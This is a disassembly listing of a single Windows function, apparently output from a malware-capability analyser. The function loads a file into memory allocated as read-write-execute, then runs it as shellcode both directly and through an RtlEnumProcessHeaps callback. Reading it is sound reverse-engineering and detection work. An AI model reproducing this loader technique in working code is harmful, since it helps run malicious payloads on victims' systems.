Function at 0x401df0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfc
push ebx
push esi
push edi
lea eax, [esp + 0x50]
push eax
call fcn.00402950
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx + 4]
mov bl, 6
test byte [esp + eax + 0x5c], bl
jne 0x401e39
mov ecx, dword [esp + eax + 0x88]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push 1
xor edi, edi
push edi
push edi
lea eax, [esp + 0x20]
push eax
call edx
mov ecx, dword [esp + 0x50]
jmp 0x401e5c
mov eax, dword [0x421260]
mov edx, dword [0x421264]
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
xor edi, edi
mov eax, dword [ecx + 4]
test byte [esp + eax + 0x5c], bl
jne 0x401ec5
mov ecx, dword [esp + eax + 0x88]
mov edx, dword [ecx]
mov edx, dword [edx + 0x28]
push 1
push edi
push edi
push edi
lea eax, [esp + 0x48]
push eax
call edx
mov eax, dword [esp + 0x40]
cdq
add eax, dword [esp + 0x38]
adc edx, dword [esp + 0x3c]
cmp eax, dword [0x421260]
jne 0x401ec5
cmp edx, dword [0x421264]
jne 0x401ec5
mov eax, dword [esp + 0x50]
mov ecx, dword [eax + 4]
mov eax, dword [esp + ecx + 0x5c]
lea ecx, [esp + ecx + 0x50]
or eax, 2
cmp dword [ecx + 0x38], edi
jne 0x401eb4
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x401ec5
push edi
call fcn.00401a70
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
lea eax, [eax + edx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call fcn.004042f0
mov eax, dword [esp + 0x18]
mov ebx, dword [esp + 0x28]
cdq
add eax, dword [esp + 0x10]
adc edx, dword [esp + 0x14]
push edx
push eax
push ebx
lea eax, [esp + 0x5c]
push eax
call fcn.004022a0
lea eax, [esp + 0x60]
call fcn.00403eb0
test eax, eax
jne 0x401f3b
mov ecx, dword [esp + 0x50]
mov ecx, dword [ecx + 4]
mov eax, dword [esp + ecx + 0x5c]
lea ecx, [esp + ecx + 0x50]
or eax, 2
cmp dword [ecx + 0x38], edi
jne 0x401f2a
or eax, 4
and eax, 0x17
mov dword [ecx + 0xc], eax
test dword [ecx + 0x10], eax
je 0x401f3b
push edi
call fcn.00401a70
mov eax, dword [esp + 0x18]
cdq
add eax, dword [esp + 0x10]
push 0x40
adc edx, dword [esp + 0x18]
push 0x1000
push eax
push edi
mov dword [esp + 0x114], edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
cmp esi, edi
jne 0x401fc1
cmp ebx, edi
je 0x401f71
push ebx
call fcn.0040789c
add esp, 4
mov edx, dword [esp + 0x50]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x60]
mov dword [esp + eax + 0x50], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
call fcn.00402b10
mov ecx, dword [esp + 0x50]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xb8]
mov dword [esp + edx + 0x50], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
push eax
mov dword [esp + 0xbc], vtable.std::ios_base.0
call fcn.00405805
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov edx, dword [esp + 0x10]
add edx, dword [esp + 0x18]
push edx
push ebx
push esi
call fcn.00406b60
add esp, 0xc
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, edi
jne 0x40203e
cmp ebx, edi
je 0x401ff0
push ebx
call fcn.0040789c
add esp, 4
mov eax, dword [esp + 0x50]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x50], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea ecx, [esp + 0x60]
call fcn.00402b10
mov edx, dword [esp + 0x50]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb8]
mov dword [esp + eax + 0x50], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
push ecx
mov dword [esp + 0xbc], vtable.std::ios_base.0
call fcn.00405805
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push str.RtlEnumProcessHeaps
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x402072
test ebx, ebx
je 0x40205d
push ebx
call fcn.0040789c
add esp, 4
lea ecx, [esp + 0x50]
call fcn.004020e0
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0
call esi
mov ecx, dword [esp + 0x18]
add esp, 8
add ecx, dword [esp + 0x18]
mov eax, esi
je 0x40208e
mov byte [eax], 0
inc eax
dec ecx
jne 0x402087
push 1
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_SleepEx]
mov ecx, dword [esp + 0x18]
add ecx, dword [esp + 0x10]
mov eax, esi
je 0x4020ab
mov byte [eax], 0
inc eax
dec ecx
jne 0x4020a4
push 0
push esi
call edi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
je 0x4020cb
push ebx
call fcn.0040789c
add esp, 4
lea ecx, [esp + 0x50]
call fcn.004020e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10